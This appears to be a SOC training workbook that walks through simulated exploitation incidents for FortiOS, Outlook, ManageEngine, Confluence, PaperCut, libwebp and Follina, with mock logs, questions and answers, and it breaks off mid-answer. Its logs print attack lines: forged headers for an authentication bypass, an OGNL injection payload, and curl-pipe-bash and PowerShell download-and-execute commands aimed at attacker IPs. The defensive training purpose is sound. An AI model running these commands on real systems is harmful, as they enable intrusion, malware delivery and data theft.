Incident: A FortiGate firewall running a vulnerable version of FortiOS was exploited using CVE-2022-40684, a critical authentication bypass flaw. The attacker crafted a special HTTP request with forged headers (Forwarded, X-Forwarded-For) to the management interface, gaining full administrative access.

Once inside, the attacker created a new local admin account, enabled SSH access, uploaded a custom config file to allow unrestricted outbound traffic and extracted VPN user credentials from the device.

Logs

Web Server Logs (FortiOS HTTPD)

2022-10-17 03:05:22 POST /api/v2/cmdb/system/admin HTTP/1.1

Headers:

Forwarded: for="[127.0.0.1]:8888"; by="[127.0.0.1]:8888";

X-Forwarded-For: 127.0.0.1

User-Agent: curl/7.79.1

Source IP: 203.0.113.99

Response: 200 OK

Action: Created user 'secops' with super_admin profile

Firewall Event Logs

2022-10-17 03:06:01

Action: Configuration change

User: secops

Change: SSH enabled on WAN interface

Config Upload: /tmp/config.update

VPN User Logs

Export of user data
File: /data/vpn_users.db
Accessed by: secops
Transferred to: 203.0.113.99
Size: 1.2 MB

Network Logs

Outbound SCP transfer to 203.0.113.99
Protocol: TCP
Port: 22
Source: FortiGate
Destination: External server

SIEM Alert

Rule Name: FortiGate Admin Access Bypass – CVE-2022-40684 Exploitation
Severity: Critical
Alert ID: SIEM-ALERT-2144

Description: Unauthenticated attacker used HTTP header forgery to access FortiGate API and create a new admin user. SSH was enabled on WAN interface and sensitive VPN user data was exfiltrated.

Analysis Questions

1. What vulnerability was exploited in this scenario?
2. What allowed the attacker to bypass authentication?
3. Which HTTP headers were manipulated during the attack?
4. What action confirmed privilege escalation?
5. What was the name of the new admin user created?
6. What configuration change increased remote attack surface?
7. What type of data was stolen?
8. What protocol was used to exfiltrate the data?
9. What IP address did the attacker use?
10. Why is enabling SSH on WAN dangerous?
11. How would you detect this attack in real time?
12. What should be restricted to prevent access to the management interface?
13. What FortiOS versions are affected by this CVE?
14. What immediate response should be taken if exploitation is detected?
15. What long-term recommendations apply to secure Fortinet appliances?

Answers

1. What vulnerability was exploited in this scenario?
CVE-2022-40684 – An authentication bypass vulnerability in FortiOS, FortiProxy and FortiSwitchManager.
2. What allowed the attacker to bypass authentication?
Forged HTTP headers (Forwarded, X-Forwarded-For) tricked the system into treating the request as internal, thereby bypassing login controls.
3. Which HTTP headers were manipulated during the attack?
 - Forwarded
 - X-Forwarded-ForThese spoofed the request origin as 127.0.0.1.
4. What action confirmed privilege escalation?
The creation of a new admin user secops with the super_admin profile.
5. What was the name of the new admin user created?
secops
6. What configuration change increased remote attack surface?
SSH access was enabled on the WAN (public) interface, allowing remote shell access from the internet.
7. What type of data was stolen?
VPN user credentials – likely plaintext or hashed passwords and configuration details.
8. What protocol was used to exfiltrate the data?
SCP (Secure Copy Protocol) over TCP port 22, encrypted and commonly used for stealthy transfers.
9. What IP address did the attacker use?
203.0.113.99 – Both for exploitation and data exfiltration.
10. Why is enabling SSH on WAN dangerous?
It exposes a direct remote shell interface to the internet, increasing the risk of brute force attacks, credential theft, or further exploitation.
11. How would you detect this attack in real time?
 - Monitor for new admin user creation via API calls
 - Alert on config changes enabling remote SSH
 - Detect HTTP requests with spoofed headers from untrusted sources
 - Use Fortinet logs in SIEM to flag unusual config actions
12. What should be restricted to prevent access to the management interface?
 - Restrict management access to internal networks or jump hosts
 - Apply firewall rules to block access to the admin API from public IPs
 - Disable API access if not in use
13. What FortiOS versions are affected by this CVE?
 - FortiOS 7.2.0 to 7.2.1
 - FortiOS 7.0.0 to 7.0.6

- FortiProxy 7.2.0, 7.0.0–7.0.6
- FortiSwitchManager 7.2.0 and 7.0.0

14. What immediate response should be taken if exploitation is detected?

- Revoke or remove the malicious admin user
- Restore secure configuration (e.g., disable SSH on WAN)
- Inspect logs for config changes and data access
- Block attacker IP and rotate all VPN credentials
- Apply the official Fortinet patch

15. What long-term recommendations apply to secure Fortinet appliances?

- Patch regularly and subscribe to vendor advisories
- Restrict API and management interface access
- Monitor for unexpected config changes
- Implement two-factor authentication for admin access
- Conduct regular configuration audits and vulnerability scans

SCENARIO 15: CVE-2023-23397 (MICROSOFT OUTLOOK – PRIVILEGE ESCALATION VIA NTLM LEAK VIA CALENDAR INVITE – REVISITED AS RED TEAM CAMPAIGN)

Category: Credential Theft via NTLM Relay

MITRE ATT&CK Mapping:

- Initial Access: T1566.002 – Phishing via Service (Calendar Invite)
- Credential Access: T1557.001 – LLMNR/NBT-NS Poisoning and Relay
- Discovery: T1087 – Account Discovery
- Lateral Movement: T1021.002 – SMB/Windows Admin Shares
- Persistence: T1547.001 – Registry Run Keys

Incident: A red team operator simulates a real-world APT by exploiting CVE-2023-23397, an Outlook zero-day that triggers an automatic NTLM hash leak when a specially crafted .ICS calendar invite is received and processed by the victim's Outlook client.

The victim does not interact with the message — the Outlook client automatically parses the calendar invite and initiates an SMB authentication attempt to an attacker-controlled server. The attacker then relays the NTLM hash to access internal services and performs privilege escalation and lateral movement within the network.

Logs

Email Gateway Logs

From: recon@consultingmail.org
To: hr_exec@targetcorp.local
Subject: Q1 Hiring Plan Calendar Invite
Attachment: invite.ics
Received: 2023-12-04 08:14:11

Outlook Logs (Sysmon or Audit)

Process: outlook.exe
Event: Calendar invite processed automatically
Network: Attempted SMB connection to \\attackerhost\malicious\

Firewall Logs

Outbound SMB (TCP 445)
Source IP: 10.10.10.15
Destination IP: 192.168.55.88

Action: Allowed

Network Logs (SMB/Zeek)

NTLMv2 Authentication Request

Client: 10.10.10.15 (victim workstation)

Server: 192.168.55.88 (attacker-controlled)

User: hr_exec

Domain: TARGETCORP

Relayed Access Logs

Relayed NTLM to SMB share on FILESERVER01

Authenticated as: hr_exec

File Accessed: \\fileserver01\payroll\$\2023_Salary_Review.xlsx

SIEM Alert

Rule Name: Outlook NTLM Leak via Calendar Invite – CVE-2023-23397

Severity: High

Alert ID: SIEM-ALERT-2220

Description: Automatic NTLMv2 authentication initiated by Outlook via calendar invite to an external SMB share. NTLM hash relayed to internal server, leading to unauthorized file access.

Analysis Questions

1. What vulnerability was exploited in this campaign?
2. Why is this attack considered "zero-click"?
3. What protocol was used to leak credentials?
4. What log shows Outlook's auto-processing behaviour?
5. Which user was compromised?
6. What is the attacker-controlled host's IP?
7. How was the NTLM hash used after it was leaked?
8. What file was accessed using the relayed credentials?
9. What Windows protocol enables this relay attack?
10. What log sources can detect NTLM relay attempts?
11. How can outbound NTLM authentication be restricted?
12. What Microsoft patch fixes CVE-2023-23397?
13. What is the risk of allowing Outlook to auto-process calendar invites?
14. What steps should a SOC take upon detecting this attack?
15. What long-term controls can prevent similar abuse of NTLM?

Answers

1. What vulnerability was exploited in this campaign?
CVE-2023-23397 – A Microsoft Outlook vulnerability that allows automatic NTLMv2 hash leaks via specially crafted .ICS calendar invites.
2. Why is this attack considered "zero-click"?
Because the user doesn't need to click or open the invite. Outlook automatically processes calendar invites upon receipt.
3. What protocol was used to leak credentials?
SMB (Server Message Block) – Used to initiate NTLMv2 authentication to the attacker-controlled server.
4. What log shows Outlook's auto-processing behaviour?
Sysmon logs or application audit logs showing outlook.exe initiating outbound SMB traffic after receiving a calendar invite.
5. Which user was compromised?
hr_exec@targetcorp.local
6. What is the attacker-controlled host's IP?
192.168.55.88
7. How was the NTLM hash used after it was leaked?
It was relayed to an internal SMB share (\\fileserver01\payroll\$) using tools like ntlmrelayx, granting unauthorized access.
8. What file was accessed using the relayed credentials?
2023_Salary_Review.xlsx in the payroll\$ share.
9. What Windows protocol enables this relay attack?
NTLM authentication via SMB, which is vulnerable to relay attacks if SMB signing is not enforced.
10. What log sources can detect NTLM relay attempts?
 - SMB logs (Zeek, PCAP, or native Windows)
 - Event ID 4624 (Logon Success) with unusual source IPs
 - SIEM correlation of NTLM attempts from unexpected sources
11. How can outbound NTLM authentication be restricted?
 - Block outbound SMB traffic to untrusted or unknown IPs
 - Set Group Policy to restrict NTLM usage
 - Enforce Kerberos authentication internally
 - Use SMB signing and LDAP signing
12. What Microsoft patch fixes CVE-2023-23397?
March 2023 Patch Tuesday update
 - Update: Outlook Security Update (KB5002254)
 - Microsoft also provided PowerShell scripts to scan and remove malicious invites

13. What is the risk of allowing Outlook to auto-process calendar invites?

It creates an attack surface for zero-click exploits – Outlook acts on external input without user consent, exposing NTLM credentials.

14. What steps should a SOC take upon detecting this attack?

- Isolate the affected host
- Check if the NTLM hash was relayed successfully
- Investigate access to internal file shares or services
- Remove the calendar invite from other users if sent broadly
- Reset the affected user's credentials

15. What long-term controls can prevent similar abuse of NTLM?

- Fully disable NTLM in favour of Kerberos where possible
- Enforce SMB signing and LDAP signing
- Block SMB outbound traffic to non-corporate destinations
- Update and harden Outlook processing behaviour
- Monitor for NTLM authentication from client applications to external IPs

SCENARIO 16: CVE-2022-47966 (ZOHO MANAGEENGINE – UNAUTHENTICATED REMOTE CODE EXECUTION VIA SAML MISCONFIGURATION)

Category: Remote Code Execution

MITRE ATT&CK Mapping:

- Initial Access: T1190 – Exploit Public-Facing Application
- Execution: T1059 – Command and Scripting Interpreter
- Persistence: T1546.008 – Web Shell
- Discovery: T1082 – System Information Discovery
- Impact: T1496 – Resource Hijacking (if cryptominers deployed)

Incident: A public-facing Zoho ManageEngine ServiceDesk Plus server was running with SAML-based single sign-on (SSO) enabled. The server had not been patched against CVE-2022-47966, which allows unauthenticated remote code execution due to improper XML parsing in SAML response validation.

An attacker exploited this flaw to execute arbitrary code on the system as the SYSTEM user. After successful exploitation, the attacker dropped a web shell in the application directory and used it to deploy reconnaissance scripts, a reverse shell and a lightweight persistence agent.

Logs

Web Server Logs (ManageEngine Access Logs)

2023-02-04 05:11:47 POST /SamlResponse

User-Agent: Mozilla/5.0

SAML Assertion: Contains crafted XML with malicious XSLT

Response Code: 200

Client IP: 203.0.113.99

EDR Process Logs

Parent: java.exe

Child: powershell.exe

CommandLine: powershell -nop -w hidden -c Invoke-WebRequest

http://203.0.113.99/agent.ps1 | IEX

Executed as: SYSTEM

Web Shell Activity (Tomcat logs)

URL Accessed: /custom/shell.jsp
Command: whoami
Output: nt authority\system

Firewall Logs

Outbound connection
Source: 10.0.0.88 (ManageEngine server)
Destination: 203.0.113.99
Protocol: HTTPS
Traffic: 20MB in 5 minutes

File System Events

File dropped: C:\ManageEngine\ServiceDesk\custom\shell.jsp
Permissions: Read/Write/Execute
Owner: SYSTEM

SIEM Alert

Rule Name: Exploitation of Zoho ManageEngine via SAML RCE – CVE-2022-47966
Severity: Critical
Alert ID: SIEM-ALERT-2341
Description: Unauthenticated remote code execution triggered on a ManageEngine ServiceDesk server using crafted SAML response. Web shell and PowerShell execution observed. C2 traffic confirmed.

Analysis Question

1. What vulnerability was exploited in this scenario?
2. What authentication mechanism was abused?
3. Why is this vulnerability unauthenticated?
4. What technology stack does ManageEngine use that enabled this exploit?
5. What log indicates successful web shell deployment?
6. What privilege level did the attacker gain?
7. What file was dropped by the attacker?
8. What command shows the attacker verified system-level access?
9. What tool was likely used to execute the PowerShell payload?
10. What kind of content was hosted at 203.0.113.99?
11. What can 20MB of traffic in 5 minutes indicate?
12. How can this attack be detected at the network level?
13. What immediate containment actions should be taken?
14. What patch or vendor response remediates this CVE?
15. What long-term hardening steps apply to web-facing enterprise apps?

Answers

1. What vulnerability was exploited in this scenario?
CVE-2022-47966 – A critical remote code execution vulnerability in Zoho ManageEngine products related to SAML authentication.
2. What authentication mechanism was abused?
SAML (Security Assertion Markup Language) – Specifically, the improper parsing and validation of SAML responses.
3. Why is this vulnerability unauthenticated?
Because the attacker crafts a malicious SAML response and submits it directly to the server, which trusts the SAML assertion without validating its source correctly.
4. What technology stack does ManageEngine use that enabled this exploit?
It runs on Apache Tomcat with Java, where Java XML libraries (e.g., Xalan/XSLT processors) allow malicious payload execution when parsing crafted XML input.
5. What log indicates successful web shell deployment?
Tomcat web access logs show access to /custom/shell.jsp, with successful execution of commands like whoami.
6. What privilege level did the attacker gain?
SYSTEM – As shown in the output of the web shell command (nt authority\system), indicating full control over the server.
7. What file was dropped by the attacker?
shell.jsp – A web shell deployed to:
C:\ManageEngine\ServiceDesk\custom\shell.jsp
8. What command shows the attacker verified system-level access?
whoami – The attacker executed this through the web shell to confirm privileges.
9. What tool was likely used to execute the PowerShell payload?
PowerShell's Invoke-WebRequest and IEX (Invoke-Expression) to execute the script directly from the internet.
10. What kind of content was hosted at 203.0.113.99?
Malicious scripts – In this case, likely agent.ps1, which could be a reverse shell, implant, or C2 beacon.
11. What can 20MB of traffic in 5 minutes indicate?
 - Data exfiltration
 - Download of additional payloads or toolkits
 - Large command outputs or encrypted C2 communications
12. How can this attack be detected at the network level?
 - Monitor for outbound connections from servers that shouldn't initiate them
 - Flag unusual traffic from Java-based services to unfamiliar external IPs
 - Detect HTTP POST requests with SAML payloads from non-IdP sources
13. What immediate containment actions should be taken?

- Isolate the server from the network
- Kill any active malicious processes
- Remove shell.jsp and verify file integrity
- Reset credentials stored on or accessed by the server
- Perform a forensic review of logs and memory

14. What patch or vendor response remediates this CVE?

Zoho released a security advisory and hotfixes in early 2023

- Upgrade to patched versions as per Zoho's ManageEngine security bulletin

15. What long-term hardening steps apply to web-facing enterprise apps?

- Apply patches immediately upon release
- Limit external exposure of admin and SAML endpoints
- Use Web Application Firewalls (WAFs) to block malformed XML/SAML
- Monitor web services with EDR and SIEM integrations
- Conduct regular penetration testing on critical systems

SCENARIO 17: CVE-2021-26084 (ATLASSIAN CONFLUENCE – REMOTE CODE EXECUTION VIA OGNL INJECTION)

Category: Server-Side Remote Code Execution

MITRE ATT&CK Mapping:

- Initial Access: T1190 – Exploit Public-Facing Application
- Execution: T1059.001 – Command and Scripting Interpreter: Bash
- Persistence: T1505.003 – Web Shell
- Collection: T1119 – Automated Collection
- Exfiltration: T1041 – Exfiltration Over C2 Channel

Incident: A self-hosted Confluence server running an unpatched version vulnerable to CVE-2021-26084 was targeted via a public exploit that uses OGNL injection (Object-Graph Navigation Language). The attacker submitted a malicious payload to the `/pages/doenterpagevariables.action` endpoint, leading to remote code execution as the confluence system user.

After gaining access, the attacker dropped a JSP web shell, collected internal wiki content and initiated data exfiltration to a remote C2 server.

Logs

Web Server Logs (Tomcat access log)

```
POST /pages/doenterpagevariables.action HTTP/1.1
Payload: name=%{(#a=@java.lang.Runtime@getRuntime()).exec('curl
http://203.0.113.200/x.sh'))}
User-Agent: curl/7.79.1
Response Code: 200
Source IP: 203.0.113.200
```

Sysmon Process Creation Logs (Event ID 1)

```
ParentImage: java.exe
Image: /bin/bash
CommandLine: bash -c "curl http://203.0.113.200/x.sh | bash"
User: confluence
```

Web Shell Logs (Tomcat Catalina logs)

```
Accessed: /confluence/admin/shell.jsp
Command: cat /var/atlassian/confluence/data/confluence.cfg.xml
```

File System Events

File dropped: /opt/atlassian/confluence/admin/shell.jsp

Permissions: 755

Owner: confluence

Network Logs (Outbound HTTP)

Source: 10.10.1.90 (Confluence server)

Destination: 203.0.113.200

Protocol: HTTP

Bytes Sent: 15MB

Purpose: Likely wiki data exfiltration

SIEM Alert

Rule Name: Confluence OGNL Injection Exploitation (CVE-2021-26084)

Severity: Critical

Alert ID: SIEM-ALERT-2459

Description: Detected OGNL injection via doenterpagevariables.action endpoint on Confluence. Follow-up Bash command executed by Java process. Web shell deployed and accessed. Potential data theft observed.

Analysis Questions

1. What vulnerability is being exploited?
2. What language/technology enables this injection?
3. What endpoint was targeted?
4. What process confirms command execution?
5. What user context did the attacker gain?
6. What is the role of x.sh in the attack?
7. Where was the web shell dropped?
8. What log shows attacker interaction with the shell?
9. What file was accessed through the shell?
10. What IP hosted the malicious script?
11. What evidence shows possible data exfiltration?
12. How would you detect OGNL-based RCE attempts?
13. What version(s) of Confluence are vulnerable?
14. What mitigation steps apply immediately?
15. What long-term controls should be applied to harden Confluence servers?

Answers

1. What vulnerability is being exploited?
CVE-2021-26084 – An unauthenticated remote code execution vulnerability in Atlassian Confluence via OGNL injection.
2. What language/technology enables this injection?
OGNL (Object-Graph Navigation Language) – Used in Java-based web apps like Confluence for data binding, but exploitable when improperly sanitized.
3. What endpoint was targeted?
/pages/doenterpagevariables.action – This endpoint improperly processed untrusted input.
4. What process confirms command execution?
Sysmon logs show bash -c executed by java.exe, triggered from the vulnerable web request.
5. What user context did the attacker gain?
The confluence user – the service account under which the app server runs.
6. What is the role of x.sh in the attack?
It's a payload delivery script – likely a Bash script that installs a web shell or second-stage malware.
7. Where was the web shell dropped?
/opt/atlassian/confluence/admin/shell.jsp – Writable by the running app, it allows remote command execution via browser.
8. What log shows attacker interaction with the shell?
Tomcat Catalina logs indicate shell access and commands like cat
/var/atlassian/confluence/data/confluence.cfg.xml.
9. What file was accessed through the shell?
confluence.cfg.xml – Contains configuration data that may include DB connection strings or internal secrets.
10. What IP hosted the malicious script?
203.0.113.200
11. What evidence shows possible data exfiltration?
15MB outbound HTTP traffic from the Confluence server to the attacker's IP, shortly after the shell was deployed.
12. How would you detect OGNL-based RCE attempts?
 - Inspect for OGNL expressions (e.g. %{...}) in HTTP POSTs
 - Detect Java processes spawning bash or curl
 - Alert on access to unexpected JSP files or web shells
13. What version(s) of Confluence are vulnerable?
Most Confluence Server and Data Center versions before 6.13.23, 7.4.11, 7.11.6, 7.12.5, 7.13.0
(Always check Atlassian's advisory for exact affected builds)
14. What mitigation steps apply immediately?
 - Patch Confluence to the latest supported version

- Remove shell.jsp and confirm no other unauthorized files exist
- Isolate the server, check for other signs of compromise
- Revoke access and rotate sensitive credentials

15. What long-term controls should be applied to harden Confluence servers?

- Keep Confluence updated regularly
- Use WAFs or reverse proxies to block dangerous patterns (e.g. %{})
- Run the service under least-privilege accounts
- Restrict public access to Confluence where possible
- Monitor for file changes in writable directories

SCENARIO 18: CVE-2023-27350 (PAPERCUT NG/MF – REMOTE CODE EXECUTION VIA IMPROPER ACCESS CONTROL)

Category: Unauthenticated Remote Code Execution

MITRE ATT&CK Mapping:

- Initial Access: T1190 – Exploit Public-Facing Application
- Execution: T1059.003 – Command and Scripting Interpreter: Windows Command Shell
- Persistence: T1053.005 – Scheduled Task
- Collection: T1005 – Data from Local System
- Impact: T1486 – Data Encrypted for Impact (Ransomware)

Incident: A publicly accessible PaperCut NG/MF server was found running without the patch for CVE-2023-27350, a critical vulnerability allowing unauthenticated RCE via exposed web management interfaces.

An attacker exploited the vulnerability to execute a system command and download a PowerShell-based backdoor. The attacker used the access to deploy a ransomware payload across multiple print servers within the environment using scheduled tasks.

Logs

PaperCut Application Logs

2023-04-19 06:33:48

Request: POST /api/public/printers

Payload: Add printer with crafted field triggering Runtime.exec("powershell -enc UwBIAHQALQBTAGM...")

User-Agent: curl/7.79.1

Source IP: 203.0.113.91

Authentication: None

EDR Process Logs

Parent: pc-app.exe

Child: cmd.exe

CommandLine: cmd.exe /c powershell -enc

UwBIAHQALQBTAGgAZQBkAHUAAbABIAGQALQB...

User: SYSTEM

Task Scheduler Logs (Event ID 106)

Task Name: PrintSyncUpdate
Action: C:\Windows\System32\ransom_task.exe
Created By: SYSTEM

File System Events

Dropped File: C:\Windows\Temp\ransom_task.exe
Hash: 4c1f...7e91
Detected as: Ransomware.Win32.Lockbit.variant

Network Logs

Outbound HTTP
Source: 10.0.2.100
Destination: 203.0.113.91
URL: /stager.ps1
Size: 89KB

SIEM Alert

Rule Name: PaperCut Unauthenticated RCE – CVE-2023-27350 + Ransomware Activity
Severity: Critical
Alert ID: SIEM-ALERT-2522
Description: Unauthenticated access to PaperCut NG instance resulted in system command execution. Ransomware file created and scheduled via SYSTEM. External connection to stager server observed.

Analysis Questions

1. What vulnerability was exploited?
2. Why is this vulnerability unauthenticated?
3. What service/application was affected?
4. What process confirms exploitation occurred?
5. What script or command was used to establish access?
6. How did the attacker ensure persistence?
7. What file was dropped by the attacker?
8. What evidence shows ransomware was involved?
9. What log shows the source of the attacker?
10. What endpoint was contacted to download the payload?
11. How can PaperCut be hardened to prevent this?
12. What are the risks of exposing PaperCut NG to the internet?
13. What versions of PaperCut are affected by this CVE?
14. What should SOC teams do immediately upon detection?
15. What long-term controls should be implemented to prevent recurrence?

Answers

1. What vulnerability was exploited?
CVE-2023-27350 – A critical unauthenticated remote code execution vulnerability in PaperCut NG/MF.
2. Why is this vulnerability unauthenticated?
The PaperCut web interface failed to validate access control on specific API endpoints, allowing unauthenticated attackers to execute commands without credentials.
3. What service/application was affected?
PaperCut NG/MF, a print management server commonly used in enterprise and education environments.
4. What process confirms exploitation occurred?
cmd.exe, spawned by pc-app.exe (PaperCut's main application process), executing a PowerShell command.
5. What script or command was used to establish access?
A Base64-encoded PowerShell script, likely a stager that downloaded and executed a backdoor or ransomware payload from a remote server.
6. How did the attacker ensure persistence?
By creating a Scheduled Task named PrintSyncUpdate to run the ransomware binary as SYSTEM on reboot or schedule.
7. What file was dropped by the attacker?
ransom_task.exe, saved in:
C:\Windows\Temp\ransom_task.exe
8. What evidence shows ransomware was involved?
 - The file hash matches a known LockBit variant
 - Scheduled execution and naming pattern
 - Detected as Ransomware.Win32.Lockbit.variant by endpoint protection
9. What log shows the source of the attacker?
PaperCut application log showing the malicious POST request from 203.0.113.91.
10. What endpoint was contacted to download the payload?
<http://203.0.113.91/stager.ps1> – A PowerShell script hosted on the attacker's server.
11. How can PaperCut be hardened to prevent this?
 - Immediately patch to the latest version
 - Restrict web interface access to trusted IPs
 - Disable unauthenticated API calls
 - Monitor all network-exposed print servers in a SIEM
12. What are the risks of exposing PaperCut NG to the internet?
 - RCE without credentials
 - Lateral movement to domain controllers or file servers
 - Exfiltration or destruction of internal documents
 - Use as a pivot point for ransomware deployment

13. What versions of PaperCut are affected by this CVE?

- PaperCut NG/MF versions 8.0 to 22.0.8
- Fixed in 22.0.9 and later (March–April 2023)

14. What should SOC teams do immediately upon detection?

- Isolate the infected server
- Kill any related processes (ransom_task.exe, powershell.exe)
- Remove malicious scheduled tasks
- Scan internal servers for lateral movement
- Begin incident response and restore from backup if needed

15. What long-term controls should be implemented to prevent recurrence?

- Routine patch management for all internal web services
- Network segmentation for print servers
- Use application allowlisting and disable powershell.exe if unused
- Implement network-level controls to block outbound C2
- Include PaperCut log parsing in your SIEM or log monitoring system

SCENARIO 19: CVE-2023-5129 (LIBWEBP – HEAP BUFFER OVERFLOW IN IMAGE PARSING – USED IN CHROME ZERO-DAY CHAINS)

Category: Memory Corruption / Client-Side Exploitation

MITRE ATT&CK Mapping:

- Initial Access: T1566.001 – Spearphishing Attachment
- Execution: T1203 – Exploitation for Client Execution
- Defense Evasion: T1027 – Obfuscated Files or Information
- Persistence: T1053 – Scheduled Task/Job (post-exploitation)
- Command and Control: T1071.001 – Web Protocols

Incident: A phishing campaign targeted internal users with a malicious .webp image file attached to an email that opened in Google Chrome or any app using the vulnerable libwebp library (used by Chromium, Signal, Telegram, 1Password, etc.).

The image triggered a heap buffer overflow in libwebp, exploited via CVE-2023-5129, leading to arbitrary code execution in the context of the application. After execution, the attacker dropped an encrypted payload in memory that connected to a remote C2 server.

This CVE was actively exploited as a zero-day in-the-wild and chained in multiple attack campaigns before it was disclosed.

Logs

Email Gateway Logs

From: internalshare@consultingco.biz
To: finance_admin@org.local
Subject: Budget Review – FY 2023
Attachment: budget-summary.webp
Time: 2023-10-01 09:44:23
Attachment Size: 87KB

Browser Process Logs (EDR)

Parent: chrome.exe
Child: rundll32.exe
Command: rundll32.exe "C:\Users\admin\AppData\Local\Temp\imgdecode.dll",Start
User: finance_admin
Behavior: Unusual process spawned by Chrome

Network Logs (DNS and HTTP)

DNS Request: c2.syncservice.co
Resolved to: 198.51.100.55
HTTP POST: /beacon
User-Agent: imgloader/1.0
Data Size: 132KB

Memory Scanner Logs

Module: imgdecode.dll
Technique: Reflective DLL injection
Detection: Heap spray pattern + RWX memory region
Classification: Exploit.Loader.WebP.HeapOverflow

SIEM Alert

Rule Name: Chrome Exploitation – libwebp Heap Buffer Overflow – CVE-2023-5129
Severity: Critical
Alert ID: SIEM-ALERT-2671
Description: Suspicious .webp file delivered via email led to buffer overflow in libwebp. Arbitrary code executed in Chrome's process, resulting in memory-resident malware with outbound C2 connection.

Analysis Questions

1. What CVE is exploited in this scenario?
2. What kind of vulnerability does it involve?
3. What file type was used to trigger the exploit?
4. How was the malicious file delivered?
5. Which popular browser/library was exploited?
6. What system process indicates post-exploitation?
7. What unusual parent-child process relationship was seen?
8. Where was the injected DLL located?
9. What network indicators show C2 communication?
10. What User-Agent was used by the malware?
11. How did the exploit remain stealthy?
12. What tools can detect this kind of memory injection?
13. What is the risk of vulnerable third-party libraries?
14. How should SOC teams respond upon detecting this exploit?
15. What long-term security controls can mitigate similar client-side RCEs?

Answers

1. What CVE is exploited in this scenario?
CVE-2023-5129 – A heap buffer overflow in the libwebp image library.

2. What kind of vulnerability does it involve?
Memory corruption – specifically a heap buffer overflow, allowing arbitrary code execution.
3. What file type was used to trigger the exploit?
A .webp image file – a common format supported by many browsers and apps.
4. How was the malicious file delivered?
As an email attachment (budget-summary.webp) in a phishing message.
5. Which popular browser/library was exploited?
Google Chrome, via its use of the vulnerable libwebp library.
(Also affects Signal, Telegram, 1Password and others using the same library.)
6. What system process indicates post-exploitation?
rundll32.exe – commonly abused to load DLLs and execute arbitrary functions.
7. What unusual parent-child process relationship was seen?
chrome.exe → rundll32.exe – not expected under normal browser operations and a strong indicator of exploitation.
8. Where was the injected DLL located?
C:\Users\admin\AppData\Local\Temp\imgdecode.dll
9. What network indicators show C2 communication?
 - DNS resolution of c2.syncservice.co
 - HTTP POST to /beacon on 198.51.100.55
10. What User-Agent was used by the malware?
imgloader/1.0 – a custom or spoofed User-Agent string used by the payload.
11. How did the exploit remain stealthy?
 - Memory-only injection using reflective DLL loading
 - No dropped executable files on disk post-initial trigger
 - Leveraged a legitimate file type (.webp) and trusted process (Chrome)
12. What tools can detect this kind of memory injection?
 - EDR platforms with memory scanning and behavior detection
 - Sysmon with Event ID 1 (process creation) and memory image monitoring
 - Tools like Volatility, PE-sieve, or Advanced Memory Scanners in XDR
13. What is the risk of vulnerable third-party libraries?
They are embedded in many apps; one bug can compromise multiple software products simultaneously, especially with zero-day weaponisation.
14. How should SOC teams respond upon detecting this exploit?
 - Isolate the affected endpoint immediately
 - Terminate rundll32.exe and Chrome sessions
 - Capture memory dumps for forensic analysis
 - Search for other users who received the same .webp file
 - Block outbound access to C2 domains/IPs

- Notify vendors and apply emergency patches

15. What long-term security controls can mitigate similar client-side RCEs?

- Application sandboxing (e.g. Chrome's sandbox, Office Protected View)
- Disabling automatic rendering of non-trusted files
- Apply zero trust principles to client software
- Keep third-party libraries updated through SBOM (Software Bill of Materials) monitoring
- Leverage Threat Intelligence feeds to detect and block known C2 domains

SCENARIO 20: CVE-2022-30190 (FOLLINA – MICROSOFT SUPPORT DIAGNOSTIC TOOL RCE VIA WORD DOCUMENT)

Category: Client-Side Exploitation / Remote Code Execution

MITRE ATT&CK Mapping:

- Initial Access: T1566.001 – Phishing: Attachment
- Execution: T1203 – Exploitation for Client Execution
- Persistence: T1053 – Scheduled Task/Job
- Defense Evasion: T1218.010 – Signed Binary Proxy Execution: Msdt
- Command and Control: T1071.001 – Web Protocols

Incident: A targeted phishing campaign delivered a Microsoft Word document weaponised with CVE-2022-30190 (Follina) – a vulnerability in the Microsoft Support Diagnostic Tool (MSDT).

When the victim opens the Word file, MSDT is invoked via a malicious external reference in the document, allowing PowerShell execution without macros or user permission. The attack led to remote payload execution, establishing a backdoor and initiating lateral movement within the network.

This vulnerability became popular due to zero-day usage and its bypassing of macro restrictions and traditional controls.

Logs

Email Gateway Logs

From: supplier@globaldelivery.net
To: procurement_team@company.local
Subject: Re: Urgent Invoice
Attachment: invoice_details.docx
Size: 182KB

EDR Process Logs

Parent: winword.exe
Child: msdt.exe
CommandLine: msdt.exe -id pcwdiagnostic -skip yes -q -param "IT_BYPASS=..."
Behavior: Invoked without user interaction
User: procurement_team

PowerShell Execution (Sysmon Event ID 1)

Parent: msdt.exe

Child: powershell.exe

CommandLine: powershell -exec bypass -window hidden -c IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.90/implant.ps1')

File System Logs

Scheduled Task Created: UpdaterService

Action: powershell.exe -File "C:\ProgramData\update.ps1"

Created By: SYSTEM

Network Logs (Zeek/Firewall)

Outbound HTTP

Source: 10.0.3.24

Destination: 203.0.113.90

URL: /implant.ps1

Data Size: 65KB

SIEM Alert

Rule Name: Word-to-MSDT Exploitation – Follina (CVE-2022-30190)

Severity: Critical

Alert ID: SIEM-ALERT-2734

Description: Document opened in Word executed msdt.exe, which launched PowerShell to download an external script. Exploits CVE-2022-30190 (Follina). Persistence mechanism detected.

Analysis Questions

1. What vulnerability is exploited in this scenario?
2. How is the payload executed without macros?
3. What legitimate binary is abused to launch the attack?
4. What process chain confirms exploitation?
5. What payload was fetched from the remote server?
6. What domain/IP hosted the malicious script?
7. What technique was used for persistence?
8. What event ID indicates the PowerShell execution?
9. What makes this attack stealthy?
10. How would EDR detect msdt.exe abuse?
11. What behavior is unusual in msdt.exe execution?
12. How can SOC confirm lateral movement began?
13. What immediate containment action should SOC take?
14. What patch mitigates this vulnerability?
15. What long-term recommendations prevent such client-side exploits?

Answers

1. What vulnerability is exploited in this scenario?
CVE-2022-30190, also known as Follina – a remote code execution vulnerability in the Microsoft Support Diagnostic Tool (MSDT).
2. How is the payload executed without macros?
The exploit uses a malicious external reference in the Word document to invoke MSDT, which runs PowerShell, bypassing macro protections.
3. What legitimate binary is abused to launch the attack?
msdt.exe – a signed Microsoft binary used for diagnostics, abused for command execution.
4. What process chain confirms exploitation?
winword.exe → msdt.exe → powershell.exe
This parent-child relationship is highly suspicious and uncommon.
5. What payload was fetched from the remote server?
A PowerShell script named implant.ps1, which likely contains a backdoor or loader for further malware.
6. What domain/IP hosted the malicious script?
203.0.113.90, accessed via HTTP from the victim's machine.
7. What technique was used for persistence?
